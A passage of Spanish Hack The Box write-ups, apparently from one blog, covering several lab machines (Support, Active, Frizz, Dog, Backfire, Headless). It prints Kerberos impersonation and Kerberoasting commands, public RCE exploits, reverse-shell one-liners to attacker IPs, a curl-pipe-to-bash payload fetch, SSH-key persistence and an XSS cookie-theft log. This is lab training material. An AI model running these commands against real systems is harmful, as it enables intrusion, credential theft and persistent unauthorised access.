Con Rubeus realizamos S4U2self+S4U2proxy usando la clave de PWNED$ para obtener e inyectar un TGS por cifs/dc.support.htb que nos permite impersonar a administrator:

.\Rubeus.exe s4u /user:PWNED$ /rc4:C21C33DBE899772558DAE64F166A04A7 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb/support.htb /ptt

S4U2self + S4U2proxy

• S4U2self: un servicio autenticado (p. ej. PWNED$) solicita al KDC un ticket intermedio que le permite actuar en nombre de otro usuario (por ejemplo Administrator) sin conocer la contraseña de ese usuario.

• S4U2proxy: usando ese ticket intermedio, el servicio pide al KDC un TGS para un servicio objetivo (p. ej. cifs/dc.support.htb) en nombre del usuario impersonado.

• Juntos: permiten que una identidad controlada (PWNED$) impersone a Administrator frente a un servicio remoto si y solo si la cuenta está autorizada para delegar hacia ese servicio (RBCD: msDS-AllowedToActOnBehalfOfOtherIdentity / PrincipalsAllowedToDelegateToAccount). En este caso, Rubeus ejecutó S4U2self + S4U2proxy y devolvió el TGS para cifs/dc.support.htb impersonando a Administrator; ese ticket fue convertido/inyectado y verificado con klist antes de usarlo con psexec.

---

Por lo tanto, el comando que pusimos previamente:

1. Autentica como PWNED$ ante el KDC usando el RC4 hash (/rc4) — construye la petición necesaria. (AS-REQ / PA-ENC-TIMESTAMP o equivalente).

2. S4U2self: pide al KDC un ticket que represente a PWNED$ actuando como administrator. El KDC devuelve un ticket de servicio (no necesariamente un TGS para el SPN final; es un ticket que prueba la identidad impersonada).

3. S4U2proxy: con el ticket de S4U2self, solicita al KDC un TGS para cifs/dc.support.htb donde la identidad asociada al ticket sea administrator. El KDC valida: ¿PWNED$ está autorizado a delegar hacia ese SPN en el objeto DC? Si la respuesta es sí (RBCD presente), emite el TGS para cifs/dc.support.htb con principal = administrator.

4. Rubeus muestra la salida: normalmente imprime confirmación, la base64 del ticket .kirbi y si pedimos /ptt (Pass The Ticket) intenta inyectarlo en LSA.

5. Resultado: obtenemos un TGS usable para autenticación SMB como Administrator.

Convertimos el ticket kirbi obtenido a un admin.ccache para que las herramientas clientes lo usen:

$ minikerberos-kirbi2ccache ticket.kirbi_b64 admin.ccache

Apuntamos KRB5CCNAME al ccache con el ticket impersonado:

$ export KRB5CCNAME=admin.ccache

Comprobamos en klist que existe el TGS para cifs/dc.support.htb y que la identidad efectiva es administrator:

$ klist

Ejecutamos psexec con Kerberos (-k, -no-pass) usando el ticket cargado para obtener ejecución remota en el DC como Administrator:

$ psexec.py -k -no-pass support.htb/administrator@dc.support.htb -dc-ip 10.10.11.174 -target-ip 10.10.11.174

Obtenemos la flag de root

Root Flag: e2527c507d443f79fb6a13053f868e0b

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

Iniciamos con un escaneo de nmap:

$ nmap -sV -Pn -sC -T4 10.10.10.100

Entramos como anonymous al smb para enumerar los shares disponbibles con:

$ smbclient -L //10.10.10.100

Dentro encontramos unas policies con las credenciales de la cuenta de servicio svc_tgs con su clave edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ cifrada

Buscamos informacion sobre como decodear la clave obtenida

https://github.com/t0thkr1s/gpp-decrypt

Deciframos la clave con gpp-decrypt

Conseguimos decifrar la clave: GPPstillStandingStrong2k18

Acceso Inicial

Enumeramos los shares disponibles como svc_tgs:

$ nxc smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

Listamos los contenidos dentro de /Users:

$ smbclient //10.10.10.100/Users -U '10.10.10.100\svc_tgs%GPPstillStandingStrong2k18'

Obtenemos la flag de user.txt en \SVC_TGS\Desktop\

Enumeramos todo el AD con bloodhound para ver posibles vectores de escalada:

$ bloodhound-python -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -d active.htb -ns 10.10.10.100 -c All --zip

Encontramos que la cuenta Administrator posee un SPN apuntando al servicio de Samba en el puerto 445:

Service Principal Names: active/CIFS:445

Un SPN (Service Principal Name o Nombre Principal del Servicio) es un identificador único en un entorno de Active Directory (AD) que asocia una instancia de servicio (como un servidor web o de bases de datos) con la cuenta de servicio que la ejecuta, permitiendo a los clientes autenticarse y conectarse al servicio correcto mediante el protocolo Kerberos.

• Kerberos permite a cualquier usuario de dominio solicitar un ticket de servicio (TGS) para un SPN público, el DC entrega el ticket porque el cliente legítimo necesitaría ese ticket para autenticarse al servicio. No se exige privilegio especial para pedirlo.

• Ese TGS contiene una parte cifrada con la clave del servicio, y esa clave se deriva de la contraseña de la cuenta que tiene asignado el SPN (si es una cuenta de usuario o de servicio con contraseña).

• El atacante pide el TGS, lo guarda y extrae el bloque cifrado. Como el cifrado está basado en la clave/contraseña del servicio, el bloque se puede atacar offline (brute-force / dictionary) hasta recuperar la contraseña si ésta es débil.

• Por eso cualquier SPN que apunte a una cuenta con una contraseña debil es vulnerable: no importa qué servicio sea, lo que importa es que el ticket se cifre con la clave de esa cuenta.

PrivEsc via Kerberoasting

Solicitamos el ticket para el SPN objetivo con la cuenta SVC_TGS y lo volcamos a tgt.txt (archivo con el ticket cifrado):

$ nxc ldap 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --kerberoast tgt.txt

Crackeamos el ticket obtenido con hashcat y obtenemos la clave de Administrator:

$ hashcat tgt.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

Password: Ticketmaster1968

Nos conectamos mediante SMB a /Users como Administrator con la clave previamente obtenida:

$ smbclient //10.10.10.100/Users -U '10.10.10.100\Administrator%Ticketmaster1968'

Obtenemos la flag de root.txt en \Administrator\Desktop\

📌 Sígueme / Portfolio

🌐 Web: https://0xnano.com

🐦 X: https://x.com/0xN4no

🐙 GitHub: https://github.com/0xN4no

🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.

• -sV Para identificar las versiones de los servicios expuestos.

• -Pn Para omitir el ping a los hosts (asumiendo que están activos).

• -sC Para utilizar los scripts por defecto de nmap.

  

Al acceder a http://frizz.htb/, el navegador nos redirige automáticamente a:

http://frizzdc.frizz.htb/home/

Al hacer clic en el botón Staff Login, se nos redirige a la ruta /Gibbon-LMS/, donde aparece un panel de login. Allí se identifica que el CMS utilizado es Gibbon, versión 25.0.00.

Powered by [Gibbon](https://gibbonedu.org) v25.0.00 | © [Ross Parker](http://rossparker.org) 2010-2025

Buscando en Google encontramos dos vulnerabilidades que afectan a esta versión:

CVE-2023-34598 – LFI

Repositorio:
https://github.com/maddsec/CVE-2023-34598

Esta vulnerabilidad permite Local File Inclusion en el CMS. Lo comprobamos accediendo a: http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql

Lo cual nos muestra el contenido del archivo gibbon.sql, confirmando la existencia del LFI:

⚠️ Sin embargo, tras analizar más a fondo, esta vulnerabilidad resultó ser un rabbit hole (camino sin salida), ya que no permite escalar ni obtener acceso al sistema directamente.

CVE-2023-45878 – File Upload to RCE

Referencia:
https://pentest-tools.com/vulnerabilities-exploits/gibbon-lms-v25001-file-upload-to-rce_27078

Tras investigar un poco más, encontramos el código del exploit:

Exploit en GitHub:
https://github.com/0xyy66/CVE-2023-45878_to_RCE

Este exploit automatiza una cadena de vulnerabilidades que permite escribir archivos arbitrarios y luego ejecutar código remotamente (RCE).

Al ejecutarlo, conseguimos una reverse shell con netcat, logrando acceso inicial al sistema.

En el sistema encontramos un archivo de configuración con credenciales de la base de datos:

\(databaseServer = 'localhost';
\)databaseUsername = 'MrGibbonsDB';
\(databasePassword = 'MisterGibbs!Parrot!?1';
\)databaseName = 'gibbon';

Enumeramos los usuarios del sistema:

net user /domain

Nos conectamos a MySQL usando las credenciales encontradas, y listamos las bases de datos:

Accedemos a las tablas de la base gibbon, donde encontramos un hash y su salt correspondiente al usuario f.frizzle.

Como hashcat tardaba demasiado, pedimos ayuda a ChatGPT para generar un script en Python que rompiera el hash mediante diccionario.

El script logra encontrar la contraseña:

[+] Contraseña encontrada: Jenni_Luvs_Magic23

Editamos el archivo de configuración de Kerberos y lo configuramos en el dominio de FRIZZ.HTB

Generamos un ticket en Kerberos con el usuario f.frizzle:

Accedemos por ssh usando Kerberos:

Obtenemos la flag de usuario:

type user.txt
05613e97dfb8c5b0880e8b29c08000b9

Escalada De Privilegios

Encontramos archivos en la papelera de reciclaje:

Los copiamos a /Documents:

Vemos que se trata de una copia de seguridad (backup):

Lo copiamos a nuestra maquina por scp:

Descomprimimos el archivo 7z:

Encontramos un archivo waptserver.ini con credenciales:

Obtenemos una clave codeada en base64:

!suBcig@MehTed!R

Enlistamos los usuarios en /Users:

Usamos Kerberos nuevamente con m.schoolbus para generar un ticket:

Accedemos por ssh usando Kerberos:

ssh m.schoolbus@frizz.htb -k

Verificamos los privilegios del usuario:

Vemos que tenemos los permisos:

• SeMachineAccountPrivilege

• SeChangeNotifyPrivilege

• SeIncreaseWorkingSetPrivilege

Descargamos SharpGPOAbuse.exe en nuestra maquina

Levantamos un servidor web con:

python3 -m http.server 80

Y descargamos SharpGPOAbuse.exe en la maquina victima con certutil

Verificamos que no somos administradores

Listamos todas las GPO:

Creamos un nuevo GPO malicioso "Evil-GPO" y lo vinculamos a la OU del DC, luego utilizamos SharpGPOAbuse para modificarlo e incluir al usuario M.SchoolBus dentro del grupo de Administrators de la maquina:

Forzamos a que se apliquen las políticas del GPO malicioso y verificamos que el usuario M.SchoolBus sea agregado como administrador del sistema:

Levantamos un servidor web con:

python3 -m http.server 80

Ponemos un listener de netcat a la escucha en el puerto 4445 y descargamos RunasCs.exe en la maquina victima con certutil:

Ejecutamos RunasCs como M.SchoolBus para recibir una shell inversa como administradores:

Tras ejecutarlo, recibiremos una conexión inversa como administrador:

Obtenemos la flag de root:

type root.txt
ccb695f45b54d1804fb24ff0e66ad815

• -sV Para identificar las versiones de los servicios expuestos.

• -Pn Para omitir el ping a los hosts (asumiendo que están activos).

• -sC Para utilizar los scripts por defecto de nmap.

A simple vista podemos observar que es un blog de perros, identificando también 2 usuarios, dobBlackDropSystem y Anonymous

Basándonos en los resultados de nmap, sabemos que hay un /robots.txt el cual al revisarlo tiene diferentes directorios deshabilitados

Entre esos directorios, encontramos algunos interesantes como /core y /git

Como encontramos que el endpoint /git contiene información sensible, procedemos a clonarlo en nuestra maquina utilizando la herramienta git-dumper:

$ git-dumper https://10.10.11.58/.git/ ./dog_git_repo

Dentro del repositorio, encontramos varios archivos del sitio, entre los cuales se encuentran archivos de información que podrían llegar a obtener información sensible

Utilizamos grep para buscar si hay algún tipo de correo o credenciales que pertenezcan al dominio dog.htb:

$ grep -r “@dog.htb”

Obtenemos varios resultados del usuario tiffany@dog.htb

Revisamos uno de los archivos de configuración, y vemos que el sitio funciona bajo un CMS llamado backdrop, el cual, si revisamos el archivo update.settings.json muestra que hay una actualización que soluciona un problema la cual no fue implementada.

Si revisamos el archivo settings.php podremos ver que hay credenciales de acceso a la base de datos MySQL del sitio

$ head settings.php -n 20

$database = ‘mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop’;

Como las credenciales anteriores solo funcionan de manera local, probamos loggearnos en el panel de admin con el usuario tiffany y la clave previamente obtenida BackDropJ2024DS2024

Buscamos un exploit para el CMS backdrop con searchsploit

$ searchsploit backdrop

Encontramos un exploit que permite ejecución remota de comandos (RCE) por lo cual, lo descargamos:

$ searchsploit -m 52021

Tras ejecutarlo, vemos que se genera un archivo malicioso con la shell inversa:

$ python 52021.py 10.10.11.58

Subimos el archivo que contiene nuestra shell al panel de administración como un modulo malicioso

Una vez instalado, procedemos a ejecutar el comando whoami en nuestra shell y vemos que tenemos acceso como www-data:

http://10.10.11.58/modules/shell/shell.php?cmd=whoami

Tras confirmar que tenemos una shell funcionando en el sitio, procedemos a realizar una conexión inversa mediante un listener de netcat en nuestra maquina atacante, poniendo a la escucha el puerto 4444:

$ nc -nvlp 4444

Reverse Shell Cheat Sheet - Internal All The Things

Ejecutamos el código que nos generara la conexión inversa:

bash -c 'bash -i>&/dev/tcp/10.10.14.161/4444 0>&1'

Si el comando se ejecuto correctamente, deberíamos obtener la conexión inversa en nuestro listener de netcat como el usuario www-data

Iniciamos sesión en la base de datos MySQL con las credenciales obtenidas de los archivos de configuración y listamos los usuarios dentro de la base de datos backdrop:

$ mysql -uroot -p Enter password: BackDropJ2024DS2024
use backdrop; select * from users;

Como podemos observar, obtenemos multiples usuarios, y dentro de /home hay 2 usuarios llamados jobert y johncusack

Probamos la misma contraseña que usamos para acceder a la base de datos para conectarnos por ssh como el usuario johncusack obteniendo así acceso como usuario:

$ ssh johncusack@10.10.11.58 > BackDropJ2024DS2024

Obtenemos la flag de usuario

Verificamos que podemos ejecutar con permisos de superusuario con el comando:

$ sudo -l

Como pudimos observar, podemos ejecutar con permisos de super usuario /usr/local/bin/bee

backdrop-contrib/bee: :bee: Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites.

Aprovechamos la herramienta bee (CLI de Backdrop CMS) para ejecutar comandos arbitrarios como root y obtener una shell privilegiada:

$ sudo /usr/local/bin/bee ev ‘system(“/bin/bash”);’

Obtenemos la flag de root

🔎 Fase de reconocimiento

Se hace un escaneo de nmap para reconocer el entorno con los parametros:

• -sV Para identificar las versiones de los servicios expuestos.

• -Pn Para omitir el ping a los hosts (asumiendo que están activos).

• -sC Para utilizar los scripts por defecto de nmap.

🌐 Análisis del puerto 8000

En el puerto 8000 nos encontramos con 2 archivos:

• disable_tls.patch

• havoc.yaotl

Al inspeccionar el archivo havoc.yaotl, identificamos credenciales en texto claro:

• ilya:CobaltStr1keSuckz!

• sergej:1w4nt2sw1tch2h4rd4tc2 Esto indica que el servidor ejecuta Havoc C2, una plataforma de post-explotación utilizada en entornos de Red Teaming.

🚨 Explotación de Havoc C2 – SSRF a RCE

Investigando, encontramos un repositorio que explota vulnerabilidades conocidas en Havoc C2:

sebr-dev/Havoc-C2-SSRF-to-RCE: This is a modified version of the CVE-2024-41570 SSRF PoC from @chebuya chained with the auth RCE exploit from @hyperreality. This exploit executes code remotely to a target due to multiple vulnerabilities in Havoc C2 Framework. (https://github.com/HavocFramework/Havoc)

Este exploit combina:

• SSRF (Server-Side Request Forgery) – CVE-2024-41570.

• Bypass de autenticación y ejecución remota (RCE).

Creamos un payload para obtener una reverse shell y creamos un servidor http con python: echo "bash -c 'bash -i >& /dev/tcp/10.10.14.67/4444 0>&1'" > shell.sh python3 -m http.server 80

Usamos las credenciales de ilya para ejecutar el exploit y forzar la ejecución remota:

curl http://10.10.14.67/shell.sh | bash

✔️ Conexión recibida correctamente:

🔐 Persistencia SSH

Para mantener acceso, generamos un par de claves: ssh-keygen -t ed25519 -f ~/.ssh/backfire cat ~/.ssh/backfire.pub

Luego la insertamos en la máquina víctima: echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPJMvnl8380kaakxT3UL3asgc2ngmheBv94TmH/XpbTm kali@kali' >> ~/.ssh/authorized_keys

Ya podemos conectarnos vía SSH sin contraseña:

📄 HardHatC2 expuesto internamente

Al leer hardhat.txt, descubrimos que Sergej instaló HardHatC2 para pruebas:

Comprobamos servicios internos expuestos: ss -tuln

Redirigimos los puertos 7096 y 5000 usando port forwarding: ssh -i ~/.ssh/backfire ilya@backfire.htb -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

Accedemos al panel en https://localhost:7096:

💥 Explotación de HardHatC2 – Auth Bypass + RCE

Encontramos este excelente artículo con vulnerabilidades 0day en HardHatC2: HardHatC2 0-Days (RCE & AuthN Bypass) | by Pichaya Morimoto | สยามถนัดแฮก Vulnerabilidades destacadas:

• Arbitrary File Write

• Authentication Bypass

• Remote Code Execution (RCE)

Probamos el bypass de autenticación, y confirmamos que se creó el usuario sth_pentest:

Accedemos al panel con: sth_pentest:sth_pentest

Desde la consola /ImplantInteract, ejecutamos: whoami

✔️ Somos el usuario sergej:

🧪 Escalada de privilegios

Colocamos un nuevo listener en otro puerto: nc -nvlp 5555

Ejecutamos el siguiente payload desde la consola interactiva: bash -c 'bash -i >& /dev/tcp/10.10.14.67/5555 0>&1'

✔️ Obtenemos shell como sergej:

Al verificar sudo -l, vemos que sergej puede ejecutar /usr/sbin/iptables como root.

sergej@backfire:~$ sudo -l Matching Defaults entries for sergej on backfire: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire: (root) NOPASSWD: /usr/sbin/iptables (root) NOPASSWD: /usr/sbin/iptables-save

Aprovechamos esto para escribir nuestra clave pública en authorized_keys como root:

Nos conectamos vía SSH como root: ssh -i ~/.ssh/myrootkey root@backfire.htb

📦 Leemos la flag:

✅ Resumen

• Acceso inicial: Havoc C2 – credenciales filtradas + CVE-2024-41570 (SSRF → RCE)

• Persistencia: SSH key con usuario ilya

• Descubrimiento lateral: HardHatC2 interno

• Explotación secundaria: Auth bypass + RCE

• Escalada de privilegios: Abuso de iptables con sudo + modificación de authorized_keys

• Root access: vía SSH con clave insertada

Nos encontramos con que en el puerto 5000 hay una pagina web aparentemente en construccion junto con un contador y un boton para enviar preguntas sobre el sitio

Tras presionar el boton de preguntas, nos envia al directorio /support en el cual hay un formulario de contacto que pide diferentes datos de contacto

Al interceptar la solicitud al servidor tras haber llenado el formulario con datos aleatorios, vemos que hay una cookie que verifica si quien esta enviando la solicitud es el administrador

Si intentamos realizar un ataque XSS introduciendo un payload en la solicitud, nos aparecera una alerta del firewall del sitio avisando que han bloqueado el intento de ataque

Realizamos una busqueda de posibles directorios adicionales con la herramienta dirbuster, y nos encontramos con que ademas de /support el sitio cuenta con otro directorio llamado /dashboard el cual arroja el codigo 500 ya que no estamos autorizados a acceder

El sitio no puede verificar que estemos autorizados a ver el sitio ya que no poseemos las credenciales adecuadas, en este caso las de administrador

Si revisamos la solicitud que se envia a /dashboard nos encontramos con que la cookie que verifica si somos administradores, tambien es enviada al sitio, por lo cual, esta es la unica forma de que el sitio verifique si somos los administradores o no

Iniciamos un servidor http con Python en el puerto 9999

Probamos realizar un ataque de XSS introduciendo el payload en los parametros de User-Agent y message, con el fin de recibir la cookie de administrador en nuestro servidor http

Recibimos una solicitud del servidor al servidor http de nuestra maquina local, y nos encontramos con que el ataque fue exitoso ya que logramos obtener la cookie de administrador

10.10.11.8 - - [27/Jun/2024 23:36:11] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -

Al decodear la cookie, la cual estaba en base64, vemos que esta es diferente a la que ya teniamos

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Realizamos una solicitud a /dashboard pero esta vez utilizando la cookie previamente obtenida y nos encontramos con que el servidor nos arroja el codigo 200, dejandonos acceder al sitio

Nos encontramos con el panel de administrador, el cual permite generar reportes del sitio con una fecha que le indiquemos

Al revisar la solicitud, nos encontramos con que hay un posible RCE (Remote Command Execution o Ejecucion Remota de Comandos) ya que al introducir el comando "whoami" debajo del mensaje que los sistemas estan encendidos y funcionando, nos sale "dvir" el cual podria ser el usuario del sistema

Intentamos nuevamente enviar un comando, pero esta vez para listar los archivos, y vemos que esta vez, el mensaje de respuesta del sitio es diferente, ya que logra listar con exito los archivos del directorio en el que esta corriendo el sitio, por lo tanto se confirma la vulnerabilidad tipo RCE

Abrimos una sesion de netcat y la ponemos a la escucha en el puerto 4444

Enviamos un comando para obtener una reverse shell, de forma que el servidor se conecte a nuestra maquina para lograr interactuar con la terminal del servidor

Recibimos la conexion del servidor

Buscamos la flag de usuario

Verificamos los permisos que tenemos para luego obtener la flag de root, y vemos que el unico directorio en el cual no se nos solicitara la contraseña es /usr/bin/syscheck

Revisamos el contenido de /usr/bin/syscheck

Abrimos una sesion de netcat y la ponemos a la escucha en el puerto 8888

Ejecutamos un comando para obtener una reverse shell, de forma que el servidor se conecte a nuestra maquina para lograr interactuar con la terminal del servidor con permisos de root

Recibimos la conexion del servidor y verificamos mediante el comando whoami que somos administradores del sistema

Buscamos la flag de root